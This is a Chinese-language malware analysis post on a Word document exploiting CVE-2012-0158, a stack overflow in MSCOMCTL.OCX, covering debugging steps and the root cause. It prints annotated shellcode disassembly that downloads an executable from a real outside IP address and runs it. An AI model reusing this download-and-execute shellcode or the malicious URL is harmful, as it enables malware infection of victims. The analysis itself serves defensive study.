CVE--0158漏洞的样本分析

时间:2024-03-14 17:30:36

一.样本信息

  • 文件名称:E5937775444C94CA3C1A309A7BDEC42E.doc
  • 文件大小:129K
  • MD5:E5937775444C94CA3C1A309A7BDEC42E
  • SHA-1:DB6B1FA595D0A561BFF364181CAB6441D7F24B1D

二.样本分析
0x01.将文件上传至virustotal分析,有许多认为是CVE-2012-0158,该漏洞发生在MSCOMCTL.OCX模块,因为内存拷贝越界导致栈溢出漏洞的触发。CVE-2012-0158漏洞的样本分析

0x02.使用Procmon.exe,尝试运行该文件,观察行为CVE-2012-0158漏洞的样本分析

CVE-2012-0158漏洞的样本分析

0x03.进行附加调试,打开文件后,程序抛出了异常,查看堆栈,发现堆栈取已经被覆盖了。尝试在样本中寻找堆栈中的溢出的数据,对比发现后,可以看到堆栈在ESP+13C处之后为样本的数据覆盖,也就是这下面的堆栈已经被破坏了CVE-2012-0158漏洞的样本分析
CVE-2012-0158漏洞的样本分析CVE-2012-0158漏洞的样本分析

0x04.往上回溯,找到最近的函数位于MSCOMCTL模块的函数sub_275C8B2B,重新调试文件,尝试在MSCOMCTL.OCX加载后对该函数入口点0x275C8B2B下断点。可以看到堆栈仍是被破坏,继续尝试向上回溯,可以看到地址0x275C8A0A是位于函数sub_275C89C7中,之后在该函数入口点处重新调试下断。
CVE-2012-0158漏洞的样本分析
CVE-2012-0158漏洞的样本分析

0x05.程序在该入口点断下后,观察堆栈发现还并没有被破坏,逐步向下调试,发现在第二个函数sub_275C876D调用,也就就是运行到0x275C8A0A后,堆栈被破坏。判断可能是该函数导致,重新调试在运行到该函数前对EBP+4也就是函数sub_275C89C7的返回地址下硬件写断点,程序断在sub_275C876D函数该语句处REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]ECX0x209C远超过了该函数的堆栈大小,导致内存拷贝太多,破坏了堆栈CVE-2012-0158漏洞的样本分析

0x06.在覆盖后的ebp+4的地址就也是0X27630160下硬件执行断点,继续运行最后达到该点处,之后便是shellcode代码CVE-2012-0158漏洞的样本分析CVE-2012-0158漏洞的样本分析
跳转到模块中硬编码的JUMP ESP语句,JUMP ESP跳转到0x11AE5A处后开始执行shellcode

0011AE5A   64:8B41 30       MOV EAX,DWORD PTR FS:[ECX+30]             ; 获取TEB结构地址
0011AE5E   8B40 0C          MOV EAX,DWORD PTR DS:[EAX+C]              ; 获取PEB_LDR_DATA
0011AE61   8B70 14          MOV ESI,DWORD PTR DS:[EAX+14]             ; InMemoryOrderModuleList
0011AE64   AD               LODS DWORD PTR DS:[ESI]                   ; nextlink
0011AE65   96               XCHG EAX,ESI
0011AE66   AD               LODS DWORD PTR DS:[ESI]                   ; nextlink
0011AE67   8B58 10          MOV EBX,DWORD PTR DS:[EAX+10]             ; 获取可kernel32.dll的基址
0011AE6A   8B53 3C          MOV EDX,DWORD PTR DS:[EBX+3C]             ; e_flanew
0011AE6D   03D3             ADD EDX,EBX                               ; PE头
0011AE6F   8B52 78          MOV EDX,DWORD PTR DS:[EDX+78]             ; 输出表RVA
0011AE72   03D3             ADD EDX,EBX
0011AE74   8B72 20          MOV ESI,DWORD PTR DS:[EDX+20]             ; AddressOfNames RVA
0011AE77   03F3             ADD ESI,EBX
0011AE79   33C9             XOR ECX,ECX
0011AE7B   41               INC ECX
0011AE7C   AD               LODS DWORD PTR DS:[ESI]
0011AE7D   03C3             ADD EAX,EBX
0011AE7F   8138 47657450    CMP DWORD PTR DS:[EAX],50746547
0011AE85  ^75 F4            JNZ SHORT 0011AE7B
0011AE87   8178 04 726F6341 CMP DWORD PTR DS:[EAX+4],41636F72
0011AE8E  ^75 EB            JNZ SHORT 0011AE7B
0011AE90   8178 08 64647265 CMP DWORD PTR DS:[EAX+8],65726464         ; 比较函数名是否为GetProcAddress
0011AE97  ^75 E2            JNZ SHORT 0011AE7B
0011AE99   8B72 24          MOV ESI,DWORD PTR DS:[EDX+24]             ; AddressOfNameOrdinals RVA
0011AE9C   03F3             ADD ESI,EBX
0011AE9E   66:8B0C4E        MOV CX,WORD PTR DS:[ESI+ECX*2]            ; GeProcAddres函数索引
0011AEA2   49               DEC ECX
0011AEA3   8B72 1C          MOV ESI,DWORD PTR DS:[EDX+1C]             ; AddressOfFunctions RVA
0011AEA6   03F3             ADD ESI,EBX
0011AEA8   8B148E           MOV EDX,DWORD PTR DS:[ESI+ECX*4]          ; Fun RVA
0011AEAB   03D3             ADD EDX,EBX
0011AEAD   33C9             XOR ECX,ECX
0011AEAF   51               PUSH ECX
0011AEB0   68 2E657865      PUSH 6578652E
0011AEB5   68 64656164      PUSH 64616564                             ; dead.exe
0011AEBA   53               PUSH EBX
0011AEBB   52               PUSH EDX
0011AEBC   51               PUSH ECX
0011AEBD   68 61727941      PUSH 41797261
0011AEC2   68 4C696272      PUSH 7262694C
0011AEC7   68 4C6F6164      PUSH 64616F4C                             ; LoadLibraryA
0011AECC   54               PUSH ESP
0011AECD   53               PUSH EBX
0011AECE   FFD2             CALL EDX                                  ; 获取LoadLibraryA地址
0011AED0   83C4 0C          ADD ESP,0C
0011AED3   59               POP ECX
0011AED4   50               PUSH EAX                                  ; LoadLibraryA地址
0011AED5   51               PUSH ECX
0011AED6   66:B9 6C6C       MOV CX,6C6C
0011AEDA   51               PUSH ECX
0011AEDB   68 6F6E2E64      PUSH 642E6E6F
0011AEE0   68 75726C6D      PUSH 6D6C7275                             ; urlmon.dll
0011AEE5   54               PUSH ESP
0011AEE6   FFD0             CALL EAX                                  ; 加载urlmon.dll
0011AEE8   83C4 10          ADD ESP,10
0011AEEB   8B5424 04        MOV EDX,DWORD PTR SS:[ESP+4]              ; GetProcAddress地址
0011AEEF   33C9             XOR ECX,ECX
0011AEF1   51               PUSH ECX
0011AEF2   66:B9 6541       MOV CX,4165
0011AEF6   51               PUSH ECX
0011AEF7   33C9             XOR ECX,ECX
0011AEF9   68 6F46696C      PUSH 6C69466F
0011AEFE   68 6F616454      PUSH 5464616F
0011AF03   68 6F776E6C      PUSH 6C6E776F
0011AF08   68 55524C44      PUSH 444C5255                             ; URLDownloadToFileA
0011AF0D   54               PUSH ESP
0011AF0E   50               PUSH EAX
0011AF0F   FFD2             CALL EDX                                  ; 获取URLDownloadToFileA函数地址
0011AF11   33C9             XOR ECX,ECX
0011AF13   8D5424 24        LEA EDX,DWORD PTR SS:[ESP+24]
0011AF17   51               PUSH ECX
0011AF18   51               PUSH ECX
0011AF19   52               PUSH EDX
0011AF1A   EB 47            JMP SHORT 0011AF63                        ; 跳转到函数,call到下方
0011AF1C   51               PUSH ECX                                  ; 等同push 0011AF68,压入url
0011AF1D   FFD0             CALL EAX                                  ; 从http://173.247.245.154/~amoretti/.ftp/update/j8.exe下载,保存为dead.exe
0011AF1F   83C4 1C          ADD ESP,1C
0011AF22   33C9             XOR ECX,ECX
0011AF24   5A               POP EDX
0011AF25   5B               POP EBX
0011AF26   53               PUSH EBX
0011AF27   52               PUSH EDX
0011AF28   51               PUSH ECX
0011AF29   68 78656361      PUSH 61636578
0011AF2E   884C24 03        MOV BYTE PTR SS:[ESP+3],CL
0011AF32   68 57696E45      PUSH 456E6957
0011AF37   54               PUSH ESP
0011AF38   53               PUSH EBX
0011AF39   FFD2             CALL EDX                                  ; 获取WinExec函数地址
0011AF3B   6A 05            PUSH 5
0011AF3D   8D4C24 18        LEA ECX,DWORD PTR SS:[ESP+18]
0011AF41   51               PUSH ECX
0011AF42   FFD0             CALL EAX                                  ; 运行dead.exe
0011AF44   83C4 0C          ADD ESP,0C
0011AF47   5A               POP EDX
0011AF48   5B               POP EBX
0011AF49   68 65737361      PUSH 61737365
0011AF4E   836C24 03 61     SUB DWORD PTR SS:[ESP+3],61
0011AF53   68 50726F63      PUSH 636F7250
0011AF58   68 45786974      PUSH 74697845
0011AF5D   54               PUSH ESP
0011AF5E   53               PUSH EBX
0011AF5F   FFD2             CALL EDX                                  ; 获取ExitProcess函数地址
0011AF61   FFD0             CALL EAX                                  ; ExitProcess

0x07.但是下载dead.exe失败,导致无法分析dead.exe
CVE-2012-0158漏洞的样本分析


###三.漏洞成因

  • .这是由MSCOMCTL.OCX中的函数sub_275C876D中的内存复制越界导致的,所以用IDA分析该函数和该函数所在的母函数sub_275C89C7
  • sub_275C876D函数中溢出处REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]的内存拷贝长度由ECX决定,而ECX的值由是该函数的第一个参数右移两位得到的。
    CVE-2012-0158漏洞的样本分析

    在母函数中因为在总的申请堆栈只有0x14,在第一次拷贝后用去0x0C,剩余0x08,但是在比较的时候如果参数大于0x08则进行内存拷贝,导致了栈溢出。
    CVE-2012-0158漏洞的样本分析

###四.IP